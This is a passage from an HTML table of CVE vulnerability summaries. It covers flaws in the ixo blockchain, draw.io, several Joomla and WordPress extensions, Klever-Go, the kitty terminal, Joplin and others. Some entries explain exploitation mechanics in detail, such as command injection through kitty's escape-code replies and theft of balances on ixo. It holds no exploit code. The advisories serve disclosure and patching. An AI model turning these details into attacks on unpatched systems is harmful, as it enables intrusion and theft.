&lt;td&gt;The ixo Blockchain is a Layer 1 blockchain that runs on both Testnet and Mainnet. Prior to version 8.0.0, the x/bonds module moved funds from an address that was resolved from a DID verification method, without verifying that the resolved address belonged to the transaction signer. Affected handlers included MsgMakeOutcomePayment, MsgBuy, MsgSell, MsgSwap, and MsgWithdrawShare, as well as the batch order processor. Because any account may list an arbitrary blockchainAccountID as a verification method on a DID it controls (without the consent of that address&#039;s owner), an attacker could register victims&#039; addresses as verification methods on their own DID and then move the victims&#039; balances into a bond the attacker controlled - later withdrawing and bridging the proceeds off-chain. This was exploited on ixo mainnet (ixo-5) on 2026-06-20. The attack required no victim keys, signatures, or system compromise - any account holding a balance in a token a bond could use was at risk. This was fixed in v8.0.0, delivered via the on-chain v8 software-upgrade. The x/bonds module is disabled: every bonds message is rejected on all routes (top-level, authz, CosmWasm, and ICA), and the bonds batch EndBlocker is a no-op so no further reserve movements can occur. All node operators and validators must upgrade to v8.0.0. The flaw is in chain state-machine logic and can only be remediated by running the patched binary. There is no application-level workaround. The vulnerability is in consensus logic; remediation requires the network to run the patched (v8.0.0) binary. The bonds module remains disabled in v8.0.0 and will only be re-enabled in a future release once the signer-authorization model has been corrected.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61604&quot; target=&quot;_blank&quot;&gt;CVE-2026-61604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jazzware--RT1000 Edge webUI v. 20.0.1&lt;/td&gt;
&lt;td&gt;Jazzware RT1000 Edge webUI v. 20.0.1 contains an unrestricted file upload vulnerability in the upgrade package upload functionality. An attacker with administrative privileges can upload a server-side executable file. The uploaded file is stored in a web-accessible executable location and can be accessed directly over HTTP without authentication, resulting in remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88738&quot; target=&quot;_blank&quot;&gt;CVE-2026-88738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jet-form-builder-stripe-gateway--jet-form-builder-stripe-gateway&lt;/td&gt;
&lt;td&gt;The jet-form-builder-stripe-gateway WordPress plugin before 1.1.0 does not sanitise and escape a payment token before using it in a SQL statement, allowing unauthenticated users to extract arbitrary data from the database, including password hashes.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2022-4997&quot; target=&quot;_blank&quot;&gt;CVE-2022-4997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jgraph--drawio&lt;/td&gt;
&lt;td&gt;draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.3.8, src/main/java/com/mxgraph/online/Utils.java checks IPv6 Unique Local Addresses in Utils.sanitizeUrl() by comparing the text prefixes fc00:: and fd00::, but the JDK returns the expanded address form, so the fc00::/7 range, including the AWS metadata range fd00:ec2::/32, is not blocked. An unauthenticated request to /embed2.js?fetch= can therefore make src/main/java/com/mxgraph/online/EmbedServlet2.java fetch an IPv6 ULA internal resource and reflect the response to the requester. Utils.validatedAddress() uses the same private-address check for the separate ProxyServlet path, which requires ENABLE_DRAWIO_PROXY=1. The primary /embed2.js path requires no proxy feature flag or DNS rebinding, and it can disclose cloud metadata credentials or data from other IPv6-reachable internal services. This issue is fixed in version 30.3.8.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76898&quot; target=&quot;_blank&quot;&gt;CVE-2026-76898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomlaboat.com--YouTube Gallery extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomlaboat.com - Unauthenticated SQL injection in YouTube Gallery extension &amp;lt; 5.7.3 - An SQL injection vulnerability in video search functionality and sorting allowed attackers to inject SQL commands in read queries.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94130&quot; target=&quot;_blank&quot;&gt;CVE-2026-94130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--Easy Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Unauthenticated PII Exposure via IDOR in Guest Checkout in Easy Store extension 1.0.0-3.0.0 - The checkout.searchGuestUser endpoint allowed querying guest checkout records solely by supplying an email address. The server returned complete shipping details (full name, phone number, street address, city, postal code, and country) directly from the #__easystore_guests table with no authentication, session validation, or ownership checks. An unauthenticated attacker could iterate through email lists to enumerate guest customers and harvest sensitive Personally Identifiable Information (PII). Resolved by removing the unauthenticated server-side guest lookup endpoint entirely and migrating autofill functionality to client-side localStorage protected by explicit user consent.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90899&quot; target=&quot;_blank&quot;&gt;CVE-2026-90899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--Easy Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing CSRF Token Verification in Storefront Product Review Submission in Easy Store extension 1.0.0-3.0.0 - The product review submission endpoint (index.php?option=com_easystore&amp;amp;task=product.addReview) accepted submissions without verifying an anti-CSRF token (the check had been commented out in code). An attacker could trick a logged-in user into posting unauthorized reviews or submitting review spam via cross-site requests. Resolved by enforcing Session::checkToken(&#039;request&#039;) / Session::checkToken(&#039;post&#039;) in ProductController, injecting HTMLHelper::_(&#039;form.token&#039;) into the review form template, and appending the session token to the submission payload in review-form.js.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90900&quot; target=&quot;_blank&quot;&gt;CVE-2026-90900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--Easy Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Authenticated, Privileged SQL Injection in Media Image Deletion in Easy Store extension 1.0.0-3.0.0 - The media deletion endpoint (administrator/index.php?option=com_easystore&amp;amp;task=media.deleteImage) parsed the ids parameter as a comma-separated string and imploded it directly into raw SQL IN (...) clauses in Media.php and MediaModel.php without integer casting or parameterization. An authenticated administrator or attacker with access to an admin session could inject arbitrary SQL statements.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90901&quot; target=&quot;_blank&quot;&gt;CVE-2026-90901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--Easy Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Authenticated, Privileged SQL Injection in Coupon Bulk Update in Easy Store extension 1.0.0-3.0.0 - The coupon bulk update task (administrator/index.php?option=com_easystore&amp;amp;task=coupon.couponBulkUpdate) took input IDs and directly concatenated them into raw SQL IN (...) clauses in ProductCoupon.php and CouponsModel.php without sanitization or parameterization. An authenticated administrator could manipulate the query through injected SQL syntax. Resolved by strictly casting all IDs to integers (array_map(&#039;intval&#039;, ...)) and adopting parameterized -&amp;gt;whereIn() query construction.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90902&quot; target=&quot;_blank&quot;&gt;CVE-2026-90902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--Easy Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing CSRF Token Verification across Administrator AJAX API Endpoints in Easy Store extension 1.0.0-3.0.0 - The administrator ApiController only validated CSRF tokens inside the products() action. All other administrative AJAX endpoints (orders, coupons, media, customers, settings, tags, categories, reviews, and collections) accepted state-changing requests without checking anti-CSRF tokens. An attacker could trick a logged-in administrator into triggering unauthorized state modifications across the store backend. Resolved by implementing global CSRF verification in ApiController::execute() for all state-changing HTTP methods (POST, PUT, PATCH, DELETE) via Session::checkToken().&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90903&quot; target=&quot;_blank&quot;&gt;CVE-2026-90903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--Easy Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Broken Access Control (ACL Bypass) in ApiController Record Editing in Easy Store extension 1.0.0-3.0.0 - The allowEdit() method in ApiController.php hardcoded return true;, bypassing Joomla component-level and asset-level ACL permission checks. Any authenticated backend user could edit any EasyStore record, regardless of specific ACL permission grants. Resolved by replacing the hardcoded boolean with proper ACL authorization checks via AccessControl::create()-&amp;gt;canEdit()`.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90904&quot; target=&quot;_blank&quot;&gt;CVE-2026-90904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joomshaper.com--Easy Store extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - joomshaper.com - Missing CSRF and Access Control on Site Configuration Update in Easy Store extension 1.0.0-3.0.0 - The endpoint administrator/index.php?option=com_easystore&amp;amp;task=appconfig.updateConfiguration updated core Joomla mail configuration (fromname, mailfrom) in configuration.php without verifying anti-CSRF tokens or checking for administrative permissions (canAdmin). A malicious site could silently modify the site&#039;s sender name and email address via forged requests from an admin&#039;s browser. Resolved by enforcing Session::checkToken(&#039;request&#039;) / Session::checkToken(&#039;post&#039;) and adding explicit administrative authorization verification via AccessControl::create()-&amp;gt;canAdmin().&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90905&quot; target=&quot;_blank&quot;&gt;CVE-2026-90905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JSM Show Post Metadata--JSM Show Post Metadata&lt;/td&gt;
&lt;td&gt;The JSM Show Post Metadata WordPress plugin before 4.9.1 does not properly escape a post meta key before outputting it into an inline event-handler attribute in an admin-facing meta box, allowing users with contributor-level access and above to inject arbitrary JavaScript that executes in the session of a higher-privileged user who reviews the affected post.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88997&quot; target=&quot;_blank&quot;&gt;CVE-2026-88997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kap-sh--zapros&lt;/td&gt;
&lt;td&gt;Zapros, a Python HTTP client, prior to version 0.14.0 is vulnerable to denial of service when an application requests content from an untrusted server, or follows a redirect to one, because a malicious response containing an excessive number of chained `Content-Encoding` values causes Zapros to construct a deeply nested decompression chain that consumes excessive resources. Version 0.14.0 patches the vulnerability by limiting responses to five content-encoding layers and raising `DecodingError` when that limit is exceeded. As a workaround, applications can add response middleware that inspects the `Content-Encoding` header and rejects responses containing more than a safe number of encoding layers.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61541&quot; target=&quot;_blank&quot;&gt;CVE-2026-61541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kap-sh--zapros&lt;/td&gt;
&lt;td&gt;Zapros, a Python HTTP client, prior to version 0.14.0 is vulnerable to denial of service via memory exhaustion. The issue affects all callers who streamed compressed responses relying on the chunk size - explicit (`iter_bytes(chunk_size=...)`) or the default - to bound memory. The decoder ignored that bound, so a chunk could be far larger than requested and a single compressed response could overflow memory. Version 0.14.0 contains a patch. Some workarounds are available. Read the still-compressed body with `Response.iter_raw()` / `Response.async_iter_raw()`, which bypass the built-in decoders, and decompress it yourself with an explicit output-size bound (e.g. `zlib`&#039;s `max_length`), aborting once a configured limit is exceeded. Where feasible, send `Accept-Encoding: identity` to disable response compression so bodies are not decompressed client-side. Avoid decoding response bodies from untrusted servers.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61652&quot; target=&quot;_blank&quot;&gt;CVE-2026-61652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;klever-io--klever-go&lt;/td&gt;
&lt;td&gt;Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the KleverUpdateAccountPermission built-in authorizes replacement of a target account&#039;s permissions by checking attacker-controlled vmInput.RecipientAddr instead of authenticated vmInput.CallerAddr. An attacker-controlled contract can choose a victim account with configured permissions as RecipientAddr, and contractHasValidPermission can accept the victim&#039;s default self-signer as authorization. UpdatePermission can then replace the victim&#039;s entire permission set with attacker-supplied Owner permissions, enabling asset theft or permanent lockout without a victim key or signature. Accounts without stored permissions and the native transaction path are not affected. This issue is fixed in version 1.7.20.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82405&quot; target=&quot;_blank&quot;&gt;CVE-2026-82405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;klever-io--klever-go&lt;/td&gt;
&lt;td&gt;Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the native marketplace function core/kapp/market/market.go Buy does not check IsClaimed before accepting a bid. A seller can use the Claim seller-accept branch to settle a resting-bid auction while leaving the claimed order loadable with a future EndTime and stale CurrentBid and CurrentBidder values. A later bidder can submit a higher bid, be debited, and cause the previous bidder to receive a refund even though the NFT has already been delivered. Because Claim and CancelOrder reject the later bidder when IsClaimed is true, the later bidder cannot obtain the NFT or recover the funds. This issue is fixed in version 1.7.20.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82406&quot; target=&quot;_blank&quot;&gt;CVE-2026-82406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;klever-io--klever-go&lt;/td&gt;
&lt;td&gt;Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, core/kapp/validators/validators.go Register and the runtime validator update path accept a submitted BLSPublicKey without curve, prime-order subgroup, or nonzero validation. When a validator with a malformed key becomes eligible and is selected into a consensus group, MultiSigner.Reset and the corresponding signature verification creation path cannot deserialize the group key and cancel the slot. This causes repeated missed rounds and throughput degradation, and a network whose consensus group equals the eligible validator set can halt completely. Genesis validation is not affected because that path already performs CheckPublicKeyValid. This issue is fixed in version 1.7.20.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82407&quot; target=&quot;_blank&quot;&gt;CVE-2026-82407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;klever-io--klever-go&lt;/td&gt;
&lt;td&gt;Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82409&quot; target=&quot;_blank&quot;&gt;CVE-2026-82409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kompini--Tankuam Places&lt;/td&gt;
&lt;td&gt;The &#039;/password/guardarClau/recover&#039; endpoint accepts the &#039;usuariId&#039; parameter, which specifies the account whose password is to be changed. The JWT token for the recovery process is not validated against the user specified in that parameter. An unauthenticated attacker could manipulate the identifier and reset the password for any account, including administrative accounts, which could allow them to take control of the account.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93556&quot; target=&quot;_blank&quot;&gt;CVE-2026-93556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kovid Goyal--kitty&lt;/td&gt;
&lt;td&gt;Improper Link Resolution Before File Access in the drag source staging path of the drag and drop protocol in kitty from 0.47.0 before 0.49.0 allows a program writing to the terminal to create files and directories at paths outside the staging directory, because subdir_data_for_drag() in kitty/dnd.c resolves a descendant of the staged item tree by constructing a path string and opening it with safe_open(path, O_DIRECTORY | O_RDONLY, 0) rather than by walking the tree one component at a time, so a client that declares two entries with the same name, the first a symlink whose target is an arbitrary absolute path and the second a directory, causes mkdirat() to fail with EEXIST, which the code ignores, and causes the subsequent path resolution to follow the symlink and return a directory descriptor outside the staging directory, which is then passed as the dirfd argument to add_payload() and used for every further create operation on that item and its descendants. Entry names are sanitised against path separators and dot components, but symlink targets are not validated. Files are created with O_CREAT | O_WRONLY | O_EXCL at mode 0644, so existing files cannot be overwritten, and directories are created with mkdirat() at mode 0755, so the attacker can create intermediate directories that did not previously exist. This results in the creation of files and directories at any path writable by the user running kitty, provided the symlink target is an existing directory.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80430&quot; target=&quot;_blank&quot;&gt;CVE-2026-80430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kovid Goyal--kitty&lt;/td&gt;
&lt;td&gt;Out-of-bounds Write in the natural width branch of the text sizing protocol in kitty from 0.40.0 before 0.49.0 allows a program writing to the terminal to write past the end of a fixed-size buffer, because screen_handle_multicell_command() in kitty/screen.c appends each codepoint of a grapheme cluster with lc.chars[lc.count++] = ch without any capacity check, while lc is declared by the RAII_ListOfChars macro as a four-element char_type array in the function&#039;s stack frame, so an OSC 66 escape code whose payload carries a grapheme cluster longer than four codepoints writes beyond that buffer, one 32-bit value per additional codepoint, in the order the codepoints appear. Where the cluster is preceded in the same payload by a sequence that causes an intermediate flush, the buffer is first migrated to the heap by ensure_space_for_chars() and the write occurs past the heap allocation instead. This results in termination of the kitty process and therefore of all its windows, tabs and child processes.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80431&quot; target=&quot;_blank&quot;&gt;CVE-2026-80431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kovid Goyal--kitty&lt;/td&gt;
&lt;td&gt;Missing Authorization in the drop handling path of the drag and drop protocol in kitty from 0.47.0 before 0.49.0 allows a program writing to the terminal to obtain the contents of files dragged over the window even when the user never completes the drop, because drop_enqueue_request() in kitty/dnd.c serves a drag data request without first checking the drop state of the window, so a client that issues the request while a drag is merely hovering receives the data offered for the drag. In the same file, drop_left_child(), which runs when the drag leaves the window without a drop having occurred, releases the offered MIME list but retains the pending request state, the open file descriptor and its main loop transfer timer, the directory handles, the URI list and the pending MIME name, so a client can continue to read through a retained directory handle, and an in-flight file transfer continues to stream, when no drag is in progress. The file contents are read from the filesystem by the kitty process itself using the paths the drag source offered. This results in disclosure of the contents of files the user moved over the window without ever releasing them into it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80432&quot; target=&quot;_blank&quot;&gt;CVE-2026-80432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kovid Goyal--kitty&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Special Elements in Output Used by a Downstream Component in the colour control escape code handler in kitty from 0.47.3 before 0.49.0 allows a program writing to the terminal to execute an arbitrary command in the user&#039;s shell, because color_control() in kitty/window.py answers a query for an unrecognised field name by placing that field name into the reply, and write_escape_code_to_child() in kitty/screen.c then writes the reply to the pseudoterminal master, where it is not distinguishable from input typed by the user, without neutralising it for the shell that reads it. The payload is reduced to printable ASCII before the field name is echoed, which is the restriction introduced in 0.47.3 as the fix for CVE-2026-54057, and the record and field separators ; and = are consumed as delimiters, but every other printable character survives, which is sufficient to compose a shell command. A newline is available from handle_remote_ssh() in kitty/window.py, which writes the bytes yielded by get_ssh_data() in kittens/ssh/utils.py, the first of which begin with a newline, to the pseudoterminal master before any credential carried in the request is checked. The reply is framed as an OSC sequence carrying the escape code number, the field name, and the literal value ?. This results in execution of an attacker-chosen command with the privileges of the user running the terminal.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95832&quot; target=&quot;_blank&quot;&gt;CVE-2026-95832&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kovid Goyal--kitty&lt;/td&gt;
&lt;td&gt;Use After Free in the drag source path of the drag and drop protocol in kitty from 0.47.0 before 0.49.0 allows a program writing to the terminal to cause the terminal to read from and write to freed heap memory, because drag_remote_file_data() in kitty/dnd.c holds a DragRemoteItem pointer into an array it does not own, calls toplevel_data_for_drag() or subdir_data_for_drag(), and then continues to use that pointer. Those helpers, and add_payload() and populate_dir_entries() which they call, report errors through the abrt() macro, which expands to cancel_drag() followed by a plain return, and cancel_drag() calls drag_free_offer(), which frees the array the pointer refers to. The helpers return void, so the caller receives no indication that the teardown happened, and proceeds to call all_children_complete() on the freed pointer, which dereferences it, and then to write through it. That dereference is guarded by a local flag that is set when the request carries no payload and announces no further data, which is the same condition that selects the finalisation block of add_payload(), so the error paths in that block reach it: a create that fails because an entry of the same name already exists, because the client may declare two entries with one name and the create operations use O_CREAT with O_EXCL and symlinkat(), a mkdirat() failure other than EEXIST, and the directory entry allocation paths. Both branches reach it. In the top level branch the caller&#039;s pointer is never cleared, so clearing the owning structure&#039;s own pointers during teardown does not help. In the sub directory branch subdir_data_for_drag() sets the caller&#039;s pointer to NULL on entry and assigns it only after its own last error path, so its own aborts leave the caller with NULL and are stopped by a null check, but it then calls add_payload() with that pointer set, and an abort there leaves the caller holding a freed child node inside the item tree, which drag_free_offer() frees by recursion. This results in undefined behaviour in the terminal process, reachable from the byte stream of any program running in the window.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95834&quot; target=&quot;_blank&quot;&gt;CVE-2026-95834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kovid Goyal--kitty&lt;/td&gt;
&lt;td&gt;Missing Authorization in the askpass escape code handler in kitty from 0.25.0 before 0.49.0 allows a local user other than the one running the terminal to obtain the text typed into a prompt that kitty itself displays, because handle_remote_askpass() in kitty/window.py opens the POSIX shared memory object named in the escape code, parses a prompt definition out of it, and writes the user&#039;s answer back into an object of that same name, without at any point checking that the object is owned by the user running kitty or that its permissions exclude other users. The equivalent consumer of the same SharedMemory class in the ssh kitten performs exactly that check; the askpass path did not. The handler is reached through a device control string processed from the byte stream of the window, so the attacker must also cause bytes of their choosing to be displayed by the victim&#039;s terminal. Where the POSIX shared memory namespace is shared between the two users, a second local user can create an object with permissions that allow the victim to read and write it, cause the victim&#039;s kitty to render a prompt of the attacker&#039;s choosing, including a masked password prompt, and read the typed secret back out of the object afterwards. The prompt text is additionally passed to the display without control character sanitisation, so it can overwrite the warning line kitty prints above it. The answer is written by reopening an object of that name when the user answers, rather than through the handle already held. This results in disclosure of a secret typed by the victim to a second local user, and does not require any privilege on the victim&#039;s account.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95835&quot; target=&quot;_blank&quot;&gt;CVE-2026-95835&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, Joplin Server&#039;s GET /api/login_with_code/:id endpoint accepts a nine-digit SSO authentication code with a ten-minute lifetime without applying limiterLoginBruteForce. An unauthenticated attacker who targets a user during an active SSO login can make unlimited guesses, and a correct code returns a full session token that permits access to and modification of the user&#039;s notes, notebooks, and account settings. This issue is fixed in version 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46649&quot; target=&quot;_blank&quot;&gt;CVE-2026-46649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libconfini--libconfini 1.16.4&lt;/td&gt;
&lt;td&gt;libconfini 1.16.4 contains a heap out-of-bounds write condition involving the bundled load_ini_buffer.h utility and strip_ini_cache(). The bundled utility allocates exactly ini_length bytes, while strip_ini_cache() unconditionally writes a NUL terminator at ini_source[ini_length], requiring an additional writable byte. Applications using the bundled allocation pattern can trigger deterministic heap memory corruption when processing any non-empty INI input, resulting in denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88370&quot; target=&quot;_blank&quot;&gt;CVE-2026-88370&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libde265--libde265&lt;/td&gt;
